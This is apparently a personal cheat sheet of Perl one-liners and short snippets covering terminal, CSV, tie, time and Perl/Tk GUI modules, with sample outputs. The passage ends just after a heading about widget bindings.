perl -MTemplate -E 'my $out; Template->new->process( \("[% id | html %]"), { id => "has & and spaces" }, \$out); say $out'
has & and spaces
#
perl -MTemplate -E 'my $out; Template->new->process( \("[% id | uri %]"), { id => "has & and spaces" }, \$out); say $out'
has%20%26%20and%20spaces
#############################################################
## Perl Modules - Term::Animation
#############################################################
# Using a terminal animation framework
perl -MTerm::Animation -MCurses -E 'use v5.32; my $anim = Term::Animation->new; halfdelay(2); $anim->new_entity(shape => "<=0=>", position => [3,7,10], callback_args => [1,0,0,0], wrap => 1); while(1){ $anim->animate; my $in = getch(); last if $in eq "q" }'
# Using a terminal animation framework (with colors)
perl -MTerm::Animation -MCurses -E 'use v5.32; my $anim = Term::Animation->new; halfdelay(1); $anim->color(1); $anim->new_entity(shape => "<=0=>", position => [3,7,10], callback_args => [1,0,0,0], wrap => 1, default_color => "yellow"); while(1){ $anim->animate; my $in = getch(); last if $in eq "q" }'
#############################################################
## Perl Modules - Term::ANSIColor
#############################################################
# Proper way to color text in perl instead of hardcoding
# escape codes (which are not all the same on all devices).
perl -MTerm::ANSIColor -E 'say colored ($_,$_) for qw( RED YELLOW GREEN ON_BRIGHT_BLACK )'
# Color an remote color (uncolor).
perl -MTerm::ANSIColor=colored,colorstrip -E 'say length colorstrip(colored("HEY", "YELLOW"))'
3
#############################################################
## Perl Modules - Term::ProgressBar
#############################################################
# Progress bar example 1
perl -Mojo -MTerm::ProgressBar -CO -E "STDOUT->autoflush(1); my $ua = Mojo::UserAgent->new; $ua->on(prepare => sub($ua,$tx){ my($len,$bar); $tx->res->on(progress => sub($res){ return unless $len ||= $res->headers->content_length; my $prog = $res->content->progress; $bar //= Term::ProgressBar->new({name => 'Unicode', count => $len}); $bar->update($prog) }); $tx->res->on(finish => sub($res){return unless $len; $bar->update($len); }) }); $ua->get('https://blog.emojipedia.org/whats-new-in-unicode-10/')"
# Progress Bar example 2
perl -MTerm::ProgressBar -E "$|++; @a=1..100; $bar = Term::ProgressBar->new({count => ~~@a}); $bar->update($_), select undef,undef,undef,0.05 for @a"
GetTerminalSize
# Progress Bar in Perl (more features shown here)
perl -MTerm::ProgressBar -E "$|++; $max=100_000; $progress = Term::ProgressBar->new({count => $max, name => 'File-1', term_width => 50, remove => 1}); $progress->minor(0); my $next_update = 0; for (0..$max){ my $is_power = 0; for (my $i = 0; 2**$i <= $_; $i++) { $is_power = 1 if 2**$i == $_; } $next_update = $progress->update($_) if $_ >= $next_update; } $progress->update($max) if $max >= $next_update; $progress->message('File-1: DONE')"
#############################################################
## Perl Modules - Term::ReadKey
#############################################################
# Get terminal width in perl
perl -MTerm::ReadKey= -E "my ($w) = GetTerminalSize(); say $w"
# Read input from the keyword/user without showing the password
perl -MTerm::ReadKey -le 'ReadMode(2); $pass .= $key while(ord($key = ReadKey(0)) !~ /^(?: 10|13 )$/x); ReadMode(0); print "Got [$pass]"'
# Read input from the keyword/user without showing the password (same, but using keywords)
perl -MTerm::ReadKey -le 'ReadMode(noecho); $pass .= $key while(ord($key = ReadKey(0)) !~ /^(?: 10|13 )$/x); ReadMode(restore); print "Got [$pass]"'
perl -MTerm::ReadKey -e 'ReadMode(2); while($c=ReadKey(0), ord($c) !~ /^(?:10|13)$/x){ $pass .= $c } ReadMode(0); print "[$pass]\n"'
# Read input from the keyword/user without showing the password (same, but more compact)
perl -MTerm::ReadKey -le 'ReadMode(2); $pass = ReadLine(0); chomp $pass; ReadMode(0); print "Got [$pass]"'
perl -MTerm::ReadKey -le 'ReadMode(2); $_ = ReadLine(0); chomp; ReadMode(0); print "[$_]"'
# Read input from the keyword/user without showing the password (same, but on windows)
perl -MTerm::ReadKey -le "ReadMode 2; $pass = ReadLine 0; chomp $pass; ReadMode 0; print qq([$pass])"
# Read input from the keyword/user without showing the password. replace characters with a star "*"
perl -MTerm::ReadKey -e 'ReadMode(4); while($c=ReadKey(0),$o=ord($c),$o != 10 and $o != 13){ if($o == 127 || $o == 8){chop $p; print "\b \b"}elsif($o < 32){}else{ $p .= $c; print "*" }} ReadMode(0); print "[$p]\n"'
perl -MTerm::ReadKey -e 'ReadMode 3; while($c=ReadKey(0),$o=ord($c),$o != 10 and $o != 13){ if($o == 127 || $o == 8){chop $p; print "\b \b"}elsif($o < 32){}else{ $p .= $c; print "*" }} ReadMode 0; print "[$p]\n"'
perl -MTerm::ReadKey -e 'ReadMode 4; while($c=ReadKey(0),$o=ord($c),$o!=10){ if($o==127 or $o==8){chop $p; print "\b \b"}elsif($o < 32){}else{$p.=$c; print "*"}} ReadMode 0; print "[$p]\n"'
#############################################################
## Perl Modules - Term::ReadLine::Gnu
#############################################################
# Given input, return the possible completion words.
# Like compgen.
compgen -W "cat cake bat bake" -- c
perl -MTerm::ReadLine -E 'my $term = Term::ReadLine->new("my"); my $attribs = $term->Attribs; $attribs->{completion_word} = [qw( cat cake bat bake )]; my @matches = $term->completion_matches( shift//"", $attribs->{list_completion_function} ); $term->display_match_list( \@matches )'
#############################################################
## Perl Modules - Text::CSV
#############################################################
# Write a csv file (super easy)
perl -MText::CSV_XS=csv -E "csv(in => [[qw/A B C/],[1,2,3]], out => 'my.csv')"
# Read certain lines of a CSV file
perl -l -MText::CSV -e '$csv=Text::CSV->new; open FH, "book1.csv"; while($a=$csv->getline(FH)){print $a->[0]}'
# CSV file into an array (Mike)
perl -l -MText::CSV_XS -e '$csv=Text::CSV_XS->new; open FH, "a.csv"; $a=$csv->getline_all(FH); print $a->[1][3]'
#############################################################
## Perl Modules - Text::ParseWords
#############################################################
# Split a line by a character while honoring quotes
# and backslashes. (perl)
use Text::ParseWords qw/ parse_line /;
parse_line( '/', 1, $string );
# Perl Modules - Text::ParseWords example.
use Text::ParseWords;
my @a = map{
chomp;
[shellwords($_)]
} <DATA>;
p \@a;
__DATA__
ab1c def
abc "d ef"
# Perl Modules - Text::ParseWords example.
sub get_file_data{
use Text::ParseWords;
map{chomp; [quotewords('\s+', 1, $_)]} <DATA>;
}
#############################################################
## Perl Modules - Tie::Array
#############################################################
# Tie a simple array variable
perl -MData::Dumper -MTie::Array -le 'tie @a, "Tie::StdArray"; @a=(1,3,4); print Dumper tied @a'
#############################################################
## Perl Modules - Tie::File
#############################################################
# Tie an array to a file
perl -MTie::File -le 'tie @file,"Tie::File","array.pl"; print $file[4]'
#############################################################
## Perl Modules - Tie::Hash
#############################################################
# Tie a simple hash variable
perl -MData::Dumper -MTie::Hash -le 'tie %h, "Tie::StdHash"; $h{age}=123; print Dumper tied %h'
# Tie append hash example.
package Tie::AppendHash;
use Tie::Hash;
our @ISA = qw(Tie::StdHash);
sub STORE {
my ($self, $key, $value) = @_;
push @{$self->{$key}}, $value;
}
#############################################################
## Perl Modules - Tie::Scalar
#############################################################
# Tie a simple scalar variable
perl -MData::Dumper -MTie::Scalar -le 'tie $n, "Tie::StdScalar"; $n=5; print Dumper tied $n'
perl -Me -MTie::Scalar -e 'my $obj = tie $var, "Tie::StdScalar"; $var=5; p $var; p $obj'
# Tie to scalar (without template)
perl -le '{package P; sub TIESCALAR{my($c,$o)=@_; bless \$o,$c} sub FETCH{my($s)=@_; $$s} sub STORE{my($s,$v)=@_; $$s = $v} } tie $var, "P", 123; print $var; $var=42; print $var'
#############################################################
## Perl Modules - Tie::Watch
#############################################################
# Tie Watch. OOP interface that hides making packages for tied variables
perl -MTie::Watch -le 'my $v=1; Tie::Watch->new(-variable => \$v, -fetch => sub{my $s=shift; $v=$s->Fetch; $s->Store($v+1); $v}); print $v; print $v; print $v'
# Check when a variable is updated. (watcher)
perl -MTie::Watch -Mojo -le 'my $h={a => [1..2]}; say r $h; Tie::Watch->new( -variable => \$h->{a}, -store => sub{my ($s,$v) = @_; $s->Store($v); my $Scope = 0; while( my ($Pkg,$Line) = caller(++$Scope) ){ say "$Pkg:$Line" } }); sub func{$h->{a}=456} func(); say r $h'
# Check when a variable is updated. (watcher)
use Tie::Watch;
Tie::Watch->new(
-variable => \$Self->{Cache}->{ $Param{Type} }->{ $Param{Key} },
-store => sub{
my ($S,$Value) = @_;
$S->Store($Value);
my $Scope = 0;
my $Limit = 5;
while( my ($Package,$Line) = (caller(++$Scope))[0,2] ){
next if $Package =~ /\ATie::/;
say "* Store: $Package line $Line";
last if $Scope >= $Limit;
}
},
);
# Problem using Tie::Watch with Storable::dclone.
perl -MData::Tie::Watch -MStorable -e '$data = {}; $obj = Data::Tie::Watch->new( -variable => $data ); Storable::dclone($data)'
perl -MData::Tie::Watch -MStorable -e '$data = 111; $obj = Data::Tie::Watch->new( -variable => \$data ); Storable::dclone(\$data)'
Can't store CODE items at -e line 1.
# Sample test code.
perl -Me -Ilib -MData::Tie::Watch -e '{ my $data = []; Data::Tie::Watch->new( -variable => $data ); my $d2 = {}; Data::Tie::Watch->new( -variable => $d2 ); } say "DONE"'
perl -Me -Ilib -MData::Trace -e '{ my $d1 = []; my $d2 = {}; Trace($d1); Trace($d2); $d1->[2] = 22; $d2->{cat} = 1 } say "DONE"; use Data::Tie::Watch; p \%Data::Tie::Watch::METHODS'
#############################################################
## Perl Modules - Time::HiRes
#############################################################
# Perl Modules - Time::HiRes
# Higher resolution sleeps.
perl -MTime::HiRes=sleep -E 'sleep 0.25 and say "sleeping" while 1'
#############################################################
## Perl Modules - Time::Moment
#############################################################
# Difference between with_offset_same_instant and with_offset_same_local.
# Instant form will use the time zone from the object (Probably what you want).
perl -MTime::Moment -E '$tm = Time::Moment->now; $tmi = $tm->with_offset_same_instant(0); $tml = $tm->with_offset_same_local(0); say "Normal: $tm"; say "Instance: $tmi"; say "Local: $tml"'
# Normal: 2022-03-10T18:44:46.882016+01:00
# Instance: 2022-03-10T17:44:46.882016Z
# Local: 2022-03-10T18:44:46.882016Z
# Timestamp using milliseconds.
perl -MTime::Moment -E 'say Time::Moment->now->strftime("%Y/%m/%d-%T%3f")'
#############################################################
## Perl Modules - Time::Piece
#############################################################
# Prefer using Time::Piece over DateTime if possible
#
# 1. Less dependencies:
cpanm --showdeps Time::Piece -q | wc -l # 4
cpanm --showdeps DateTime -q | wc -l # 35
#
# 2. Issues with using DateTime and cron.
# Could be due to also perlbrew trying a different
# library path (which I could not resolve).
# Print the currect time, the inputed time, and difference in seconds (accounts for timezone offset)
perl -MTime::Piece -le '$now=localtime; $t=Time::Piece->strptime("20170320 095200 -0400","%Y%m%d %H%M%S %z"); print $_->strftime," ",$_->tzoffset for $now,$t; print $now-$t'
# Compare the current time to a string (desired). Accounts for time zone
perl -MTime::Piece -le '$now=localtime; $now+=$now->tzoffset; print $now; $t=Time::Piece->strptime("Mon Apr 17 14:36:02 2017","%a %b %d %H:%M:%S %Y"); print $now-$t'
# Compare the current time to a string (desired). Accounts for time zone (compact)
perl -MTime::Piece -le '$now=localtime; $now+=$now->tzoffset; print $now; $t=Time::Piece->strptime("Mon Apr 17 14:36:02 2017","%c"); print $now-$t'
# Compare the curent time to a string. Show direrence in seconds between times
perl -MTime::Piece -le '$now=localtime; $now+=$now->tzoffset; $t=Time::Piece->strptime(shift,"%c"); print for $now,$t,$now-$t' "Mon Apr 17 14:36:02 2017"
# Print current time in format YYYYMMDD
perl -MTime::Piece -le "print localtime()->strftime('%Y%m%d')"
# Print current time in format YYYY-MM-DD HH::MM:SS
perl -MTime::Piece -le "print localtime()->strftime('%Y-%m-%d %H:%M:%S')"
2022-10-04 01:14:00
# Print string or current time in format YYYY-MM-DD
perl -MTime::Piece -le 'print Time::Piece->strptime("20170302 095200 -0400","%Y%m%d %H%M%S %z")->strftime("%Y-%m-%d")'
2017-03-02
perl -MTime::Piece -le 'print localtime->strftime("%Y-%m-%d")'
2022-12-12
# Storage format for transfering/saving timestamp
perl -MTime::Piece -E 'say localtime->strftime("%x %R")'
# Fri 06 Aug 2021 20:06 # Storage format
perl -MTime::Piece -E 'say localtime->strptime("Fri 06 Aug 2021 20:06", "%x %R")'
# Fri Aug 6 20:06:00 2021 # General format
# Set expiration date to start of tomorrow
perl -MTime::Piece -MTime::Seconds -E '$t = localtime; $t += ONE_DAY; say $t->truncate(to => "day")->strftime("%x %R")'
# Sat 07 Aug 2021 00:00
# Set expiration date to start of next week
perl -MTime::Piece -MTime::Seconds -E '$t = localtime; $t += ONE_DAY; $t += ONE_DAY until $t->wdayname eq "Sun"; say $t->truncate(to => "day")->strftime("%x %R")'
# Sun 08 Aug 2021 00:00
# Parse and subtract a second.
perl -MTime::Piece -E '$t = Time::Piece->strptime("2023-02-13T23:00:00Z","%Y-%m-%dT%H:%M:%SZ"); $t -= 1; say $t->strftime("%Y-%m-%d %H:%M")'
2023-02-13 22:59
# Time::Piece strftime sample output:
%a: Mon
%A: Monday
%b: Sep
%B: September
%c: Mon 05 Sep 2016 12:01:18 AM CEST
%C: 20
%d: 05
%D: 09/05/16
%e: 5
%E: %E
%F: 2016-09-05
%G: 2016
%g: 16
%h: Sep
%H: 00
%I: 12
%j: 249
%k: 0
%l: 12
%m: 09
%M: 01
%n: \n
%O: %O
%p: AM
%P: am
%r: 12:01:18 AM
%R: 00:01
%s: 1473026478
%S: 18
%t: \t
%T: 00:01:18
%u: 1
%U: 36
%V: 36
%w: 1
%W: 36
%x: 09/05/2016
%X: 12:01:18 AM
%y: 16
%Y: 2016
%z: +0200
%Z: CEST
%+: %+
%%: %
#############################################################
## Perl Modules - Time::Seconds
#############################################################
# Date arithmetic in Javascript (add 90 days to a date)
# Time::Seconds imports ONE_DAY
perl -MTime::Seconds -MTime::Piece -le "$now=localtime; $now+=$now->tzoffset; $now += ONE_DAY * 90; print $now->strftime('%Y-%m-%d')"
# Subtract days.
perl -MPOSIX -le '
@t = localtime; $t[3] -= 1299;
print scalar localtime mktime @t
'
# Seconds to HMS (hhmmss)
use Time::Seconds;
my $time = Time::Seconds->new(time - $time0)->pretty;
#
perl -MTime::Seconds -E 'say Time::Seconds->new(time)->pretty;'
# 18845 days, 18 hours, 4 minutes, 21 seconds
#############################################################
## Perl Modules - Tk (General)
#############################################################
# Create a simple Tk window
perl -MTk -le '$mw=MainWindow->new; $mw->title("Hello"); $mw->Button(-text => "Done", -command => sub{exit})->pack; MainLoop'
# Create a simple grid window
perl -MTk -le '$m=MainWindow->new; $m->Button->grid($m->Button,$m->Button); $m->Button->grid($m->Button,$m->Button); MainLoop'
# Create a simple grid window with last button spanning several columns
perl -MTk -le '$m=MainWindow->new; $m->Button->grid($m->Button,$m->Button); $m->Button->grid($m->Button,"-", -sticky => "nsew"); MainLoop'
# Create a simple grid window with last button spanning several rows
perl -MTk -le '$m=MainWindow->new; $m->Button->grid($m->Button,$m->Button, -sticky => "nsew"); $m->Button->grid($m->Button,"^"); MainLoop'
# Create a simple grid window with last button removed/ignored/skipped
perl -MTk -le '$m=MainWindow->new; $m->Button->grid($m->Button,$m->Button); $m->Button->grid("x",$m->Button, -sticky => "nsew"); MainLoop'
# Have a button to disable another button
perl -MData::Dumper -MTk -wle '
$mw = MainWindow->new;
$exit_b = $mw->Button(-text => "exit", -command => sub{exit})->pack(-ipadx => 20, -ipady => 10);
$text = "Disable Exit";
$mw->Button(-textvariable => \$text, -command => sub{
if( ($exit_b->configure(-state))[-1] eq "disabled" ){
$exit_b->configure(-state => "normal");
$text = "Disable Exit";
}
else{
$exit_b->configure(-state => "disabled");
$text = "Enable Exit";
}
})->pack;
MainLoop;
'
# TODO: Check if Unigraph is perl tk
# Create Menu Buttons (PTk,bind method)
perl -MTk -le '$mw=MainWindow->new; $mw->Button(-text => "Exit", -command => sub{exit})->pack(-side => "bottom", -fill => "both", -expand => 1); $f=$mw->Frame(-relief => "ridge", -borderwidth => 2)->pack(-side => "top", -expand => 1, -fill => "both"); for(qw/File Edit Options Help/){$f->Menubutton(-text => $_)->pack(-side => "left", -fill => "both", -expand => 1)}; MainLoop'
# Perk Tk Event Types (PTk,bind method)
ButtonPress (or Button)
ButtonRelease
Circulate
Colormap
Configure
Destroy
Enter
Expose
FocusIn
FocusOut
Gravity
KeyPress (or Key)
KeyRelease
Leave
Map
Motion
Reparent
Unmap
Visibility
# Perl Tk Event Info Usage program
perl -MTk -le '$mw=MainWindow->new; $b=$mw->Button->pack(-ipadx => 60); $b->bind("<Key>", [sub{print "ARGV: @_[1..$#_]"}, Ev("k"), Ev("K"), Ev("N"), Ev("T")]); MainLoop'
# Perl Tk Event Info (PTk,bin methods,Ev)
#
# Coordinates (relative to window)
Ev('x')
Ev('y')
#
# Coordinates (relative to root of window)
Ev('X')
Ev('Y')
#
# Button Number (of mouse click)
Ev('b')
#
# Size of widget
Ev('h') # height
Ev('w') # width
#
# Keyboard Info
Ev('k') # Physical Key Value 37 37
Ev('K') # Letter A a
Ev("N") # Decimal 65 97
#
# Event Type
Ev('T') # KeyPress
# Perl Tk Event Info (PTk,bin methods,Ev)
# Stop events in callback.
return # Exits only current sub
Tk::break # Stops all callbacks for an event
# View order of bindings for a widget (PTk,bin methods,Ev)
print for $b->bindtags
print "$_: ", $b->bind($_) for $b->bindtags
# Order order of bindings for a widget (PTk,bin methods,Ev)
$b->bindtags("[all]")
# View the bindtags for (PTk):
# Class
# Install
# Toplevel
# All
perl -MTk -le '$b=MainWindow->new->Button->pack; $b->bind("<ButtonRelease-1>", sub{exit}); map {print $_; printf " $_\n" for $b->bind($_)} $b->bindtags'
# Check if widget exists, if widget if packed (mapped,PTk)
perl -MTk -le '$mw=MainWindow->new; $b=$mw->Button(-text => "unpack", -command => sub{$b->packForget})->pack; $mw->Button(-text => "Check status", -command => sub{print for "",Exists($b), $mw->appname, $b->ismapped()})->pack; MainLoop'
# Track mouse movements (PTk)
perl -MTk -le '$mw=MainWindow->new; $mw->geometry("200x200+0+0"); $w=$mw->Label(-textvariable => \$t, -width => 20)->pack; $mw->bind("<Motion>", sub{$t=join ", ", $mw->pointerxy}); MainLoop'
# Track mouse movements (PTk)
# More positional values
perl -MTk -le '$w=tkinit; $w->geometry("200x200"); $w->Label(-textvariable => \$t, -justify => "left")->pack; $w->bind("<Motion>", sub{$t=sprintf "pointerxy:%s,%s\nxy:%s,%s\nroot:%s.%s\nvroothw:+%s,+%s\nvrootxy:%s,%s\nscreen:%s", $w->pointerxy, $w->x,$w->y, $w->rootx,$w->rooty,$w->vrootheight,$w->vrootwidth,$w->vrootx,$w->vrooty,$w->screen}); MainLoop'
# Add tab completion to an entry widget
perl -MTk -le '$mw=MainWindow->new; $e=$mw->Entry(-textvariable => \$t)->pack; $e->focus; $e->bind("<Tab>", sub{@a=glob "$t*"; $t=shift @a if @a; $e->selectionClear}); MainLoop'
# Bind Enter/Carriage Return key (PTk)
$e->bind("<Return>"
# Swap button (PTk)
perl -MTk -le '$mw=MainWindow->new; for(1..3){my $b=$mw->Button(-text => "B$_", -width => 20)->pack; $b->configure(-command => sub{ ($n)=grep{$b[$_] eq $b}0..$#b; return unless $n > 0; @b[$n,$n-1]=@b[$n-1,$n]; $_->packForget for @b; $_->pack for @b}); push @b,$b} MainLoop'
# Drag and swap buttons (PTk)
perl -MTk -le '$mw=MainWindow->new; my @b; sub id{my($n)=grep{$b[$_] eq $_[0]}0..$#b; $n} for(1..3){push @b, $mw->Button(-text => "B$_", -width => 20)->pack} $mw->bind("<ButtonRelease-1>",[sub{$m=id(shift); $n=id($mw->containing(@_)); @b[$m,$n]=@b[$n,$m]; $_->packForget, $_->pack for @b}, Ev("X"), Ev("Y")]); print for @b; print ""; MainLoop'
# Swap frames of buttons (PTk)
perl -MTk -le '$mw=MainWindow->new; my @b; sub id{my($n)=grep{$b[$_] eq $_[0]}0..$#b; $n} for my $fi(1..3){my $f=$mw->Frame->pack; push @b,$f; $f->Button(-text => "Btn - $fi - $_", -width => 20)->pack(-side => "left") for 1..3} $mw->bind("<ButtonRelease-1>",[sub{$m=id(shift->parent); $n=id($mw->containing(@_)->parent); print "$m <-> $n"; @b[$m,$n]=@b[$n,$m]; $_->packForget, $_->pack for @b}, Ev("X"), Ev("Y")]); print for @b; print ""; MainLoop'
# Notebook example 1. multiple pages/tabs (PTk)
perl -MTk -MTk::NoteBook -le '$nb=MainWindow->new->NoteBook->pack(-fill => "both", -expand => 1); @pgs = map { $nb->add("page$_", -label => "Page $_") } 0..5; $pgs[0]->Button(-text => "Button $_")->pack(-fill => "both") for 1..5; $pgs[1]->Label(-text => "Label $_")->pack(-fill => "both") for 1..5; MainLoop'
# Notebook example 2. multiple pages/tabs (PTk)
# Command when clicking a page/tab
perl -MTk -MTk::NoteBook -le '$nb=MainWindow->new->NoteBook(-font => "Courier 14 bold")->pack(-fill => "both", -expand => 1); @pgs = map { $nb->add("page$_", -label => "Page $_") } 0..20; $pgs[0]->Button(-text => "Button $_")->pack(-fill => "both") for 1..5; $pgs[1]->Label(-text => "Label $_")->pack(-fill => "both") for 1..5; $nb->pageconfigure("page1", -raisecmd => sub{print "raised"}); MainLoop'
# Notebook example 3. multiple pages/tabs (PTk)
# Page deletion
perl -MTk -MTk::NoteBook -le '$nb=MainWindow->new->NoteBook->pack(-fill => "both", -expand => 1); @pgs = map { $nb->add("page$_", -label => "Page $_") } 0..10; $nb->pagecget("page0", "-state"); $pgs[0]->Button(-text => "Button $_")->pack(-fill => "both") for 1..5; $nb->delete("page0"); MainLoop'
# Notebook example 4. multiple pages/tabs (PTk)
# Get page by name
perl -MTk -MTk::NoteBook -le '$nb=MainWindow->new->NoteBook->pack(-fill => "both", -expand => 1); @pgs = map { $nb->add("page$_", -label => "Page $_") } 0..10; $nb->pagecget("page0", "-state"); $pgs[0]->Button(-text => "Button $_")->pack(-fill => "both") for 1..5; $nb->page_widget("page3")->Label(-text => "Label$_")->pack for 1..5; MainLoop'
# Notebook example 5. multiple pages/tabs (PTk)
# 2 rows
perl -MTk -MTk::NoteBook -le '$nb=MainWindow->new->NoteBook->pack(-fill => "both", -expand => 1); $nb->add("page0$_", -label => "Page $_") for 1..5; map { my $nb = $_; $nb->add("page1$_", -label => "Page $_") for 6..10; } map $_->NoteBook->pack, map $nb->page_widget($_), $nb->pages; MainLoop'
# Notebook example 6. multiple pages/tabs (PTk)
perl -MTk -MTk::NoteBook -le '$nb=MainWindow->new->NoteBook->pack; $nb->add("page0$_", -label => "Page $_") for 1..5; @pgs = map $nb->page_widget($_), $nb->pages; ($p,@rest)=@pgs; $nb1=$p->NoteBook->pack; $nb1->add("page1$_", -label => "Page $_") for 6..10; $nb->page_widget("page01")->Button(-text => "EXIT")->pack; MainLoop'
# Entry widget validation options (PTk)
perl -MTk -le 'MainWindow->new->Entry(-validate => "key", -validatecommand => sub{$_[1] =~ /\d/}, -invalidcommand => sub{ print "ERROR" })->pack->focus; MainLoop'
# Making Scrollbars (PTk)
# When text widget is scrolled its "-yscrollcommand" command is invoked. This calls $s->set(...)
# When the scrollbar is clicked on "-command" is invoked which calls $t->yview(...)
perl -MTk -le '$mw=MainWindow->new; $s=$mw->Scrollbar; $t=$mw->Text(-yscrollcommand => ["set" => $s]); $s->configure(-command => ["yview" => $t]); $s->pack(-side => "right", -fill => "y"); $t->pack(-fill => "both"); MainLoop'
# Scale widget example (PTk)
perl -MTk -le 'MainWindow->new->Scale(-from => 1, -to => 5, -tickinterval => 1, -showvalue => 0)->pack; MainLoop'
# Balloon widget example (PTk)
perl -MTk -MTk::Balloon -le '$mw=MainWindow->new; $b=$mw->Button(-text => "DO NOTHING")->pack; $mw->Balloon->attach($b, -msg => "button"); MainLoop'
# Balloon widget example (PTk)
perl -MTk -le '$w=tkinit; $bt=$w->Button(-text => "this does nothing")->pack; $w->Balloon->attach($bt, -msg => "really nothing"); MainLoop'
# Listbox example (PTk)
perl -MTk -le '$w=MainWindow->new; $lb=$w->Scrolled("Listbox", -scrollbars => "osoe")->pack; $lb->insert(0,1..10); $w->Button(-text => "SHOW", -command => sub{@s=$lb->curselection; print $lb->get(@s) if @s})->pack; MainLoop'
# Handle clicking the "X" button on a window to close (PTk)
perl -MTk -le '$w=MainWindow->new; sub e{print "safe exit"; $w->destroy} $w->protocol("WM_DELETE_WINDOW", \&e); $w->Button(-text => "EXIT", -command => \&e)->pack; MainLoop'
# Menu(bar) example (PTk)
perl -MTk -le '$w=MainWindow->new; $m=$w->Menu; $w->configure(-menu => $m); %h=map{$_ => $m->cascade(-label => "~$_")} qw/File Edit Help/; $h{File}->command(-label => "Exit", -command => sub{exit}); MainLoop'
# Menu(bar) example using -menuitems (PTk)
perl -MTk -le '$w=MainWindow->new; $m=$w->Menu; $w->configure(-menu => $m); %h=map{$_ => $m->cascade(-label => "~$_", -menuitems => [[checkbutton => "MY_CHECK"],[command => "MY_CMD", -command => sub{print "exit"}, -accelerator => "Ctrl-o"],[radiobutton => "MY_RADIO"],"",[cascade => "MY_CASCADE"]])} qw/File Edit Help/; MainLoop'
# Simple Menu(bar) example using -menuitems (PTk)
perl -MTk -le '$w=MainWindow->new; $m=$w->Menu; $w->configure(-menu => $m); $m->cascade(-label => "~File", -menuitems => [[command => "new", -accelerator => "Ctrl-n"],"",[command => "Open", -accelerator => "Ctrl-o"]]); MainLoop'
# Simple 2 Menu(bar) example using -menuitems (PTk)
perl -MTk -le '$w=MainWindow->new; $m=$w->Menu; $w->configure(-menu => $m); $m->cascade(-label => "~File", -menuitems => [[cascade => "new", -accelerator => "Ctrl-n", -menuitems => [map [command => $_],qw/PNG JPEG TIFF/], -tearoff => 0],"",[command => "Open", -accelerator => "Ctrl-o"]]); MainLoop'
# Color changing menu(bar) (PTk)
perl -MTk -le '$color="$red"; $w=MainWindow->new; $mi=[[cascade => "~Edit", -menuitems => [[cascade => "~Background", -menuitems => [map [radiobutton => $_, -variable => \$color, -command => [sub{my $c=shift; $w->configure(-background => $c); print "CHANGED TO [$c]"},$_]], qw/Red Blue Yellow Green/], ]], ]]; $w->configure(-menu => $w->Menu(-menuitems => $mi)); MainLoop'
# Very primitive notebook (poor man's notebook) (PTk)
perl -MTk -le '$w=MainWindow->new; ($top,$bot)=map{$w->Frame->pack} 1..2; @b=map { $top->Button(-text => "B$_", -command => [sub{print shift}, $_])->pack(-side => "left") } 1..3; @f=map{$bot->Frame} 1..3; $f[0]->pack; $f[0]->Label(-text => "L1")->pack; $f[1]->Label(-text => "L2")->pack; $b[1]->configure(-command => sub{ $_->packForget for @f; $f[1]->pack }); MainLoop'
# Wait until variable is changes. Other button can still be pressed though. (PTk)
perl -MTk -le '$w=MainWindow->new; $w->Entry(-width => 20, -textvariable => \$t)->pack; $w->Button(-text => "PRINT", -command => sub{print "ABC"})->pack; $w->Button(-text => "PAUSE", -command => sub{$w->waitVariable(\$t); print "DONE"})->pack; MainLoop'
# Simple composite Mega-Widget based on a Toplevel (PTk)
perl -MTk -le '{package Tk::My; use base "Tk::Toplevel"; Construct Tk::Widget "My" } $w=MainWindow->new; $w->My; MainLoop'
# Define own bitmap
perl -MTk -le '$w=MainWindow->new; $p=pack("b5"x5,"..1..",".111.","11111",".111.","..1.."); $bm=$w->DefineBitmap(up => 5,5,$p); $w->Button(-width => 10, -height => 30, -bitmap => "up")->pack; MainLoop'
# Define own bitmap (fansy)
cat star.bm
..............................
..............................
..............................
..............1...............
..............1...............
.............111..............
.............111..............
............1.1.1.............
.......11...1.1.1...11........
.......11..1..1..1..11........
.........1.1..1..1.1..........
..........1...1...1...........
.........1.1..1..1.11.........
.......11...1.1.1....11.......
.....11......111.......11.....
...111111111111111111111111...
.....11......111.......11.....
.......11...1.1.1....11.......
.........1.1..1..1.11.........
..........1...1...1...........
.........1.11.1.11.1..........
.......11...1.1.1...11........
.......11...1.1.1...11........
.............111..............
.............111..............
..............1...............
..............1...............
..............................
..............................
..............................
perl -MTk -le '$w=MainWindow->new; $s=30; $p=pack("b$s"x$s,`cat start.bm`); $w->DefineBitmap(start => $s,$s,$p); $w->Button(-bitmap => "start")->pack; MainLoop'
# DirTree example (PTk)
perl -MTk -le 'MainWindow->new->Scrolled("DirTree")->pack(qw/-fill both -expand 1/); MainLoop'
# LabEntry example (PTk,label and entry in one)
perl -MTk -le 'tkinit->LabEntry(-label => "name", -textvariable => \$name, -labelPack => [qw/ -side left /], -width => 20)->pack; MainLoop'
# Clicking a button will send it to the top. Cycle through
perl -MTk -le '$w=tkinit; @b=map{$w->Button(-text => $_)->pack} a..c; $_->configure(-command => sub{$b[-1]->pack(-before => $b[0]); unshift @b, pop @b }) for @b; MainLoop'
# Show or hide widgets based on a checkbutton (advanced options)
perl -MTk -le '$w=tkinit; $b=$w->Button->pack(qw/ -side bottom /); $p=1; $w->Checkbutton(-text => "Pack", -variable => \$p, -command => sub{ if($p){ $i=$b->{packInfo}; $b->pack(@$i) } else { $b->{packInfo} = [$b->packInfo]; $b->packForget } })->pack; MainLoop'
# Sleep/Wait (PTk)
$mw->after(3000) # ms
#############################################################
## Perl Modules - Tk (Bind)
#############################################################
# Make Control-C binding (PTk)
perl -MTk -le '$b=tkinit->Button(-text => "Try Control-C"); $b->configure(-command => sub{$b->focus}); $b->pack->bind("<Control-Key-c>", sub{print "Hit C"}); MainLoop'
# Show the name an value of each pressed key (PTk)
perl -MTk -le '$e=tkinit->Entry->pack; $e->focus; $e->bind("<Key>", sub{my($w)=@_; my $E=$w->XEvent; printf "%s %s\n", $E->K, $E->N}); MainLoop'
#
# Simpler
perl -MTk -le '$e=tkinit->Entry->pack; $e->focus; $e->bind("<Key>", sub{my $E=shift->XEvent; printf "%s %s\n", $E->K, $E->N}); MainLoop'
#
# Using newer "Tk::event"
perl -MTk -le '$e=tkinit->Entry->pack; $e->focus; $e->bind("<Key>", sub{printf "%s %s\n", $Tk::event->K, $Tk::event->N}); MainLoop'
# Three (3) ways to get the widget reference of a binding (PTk)
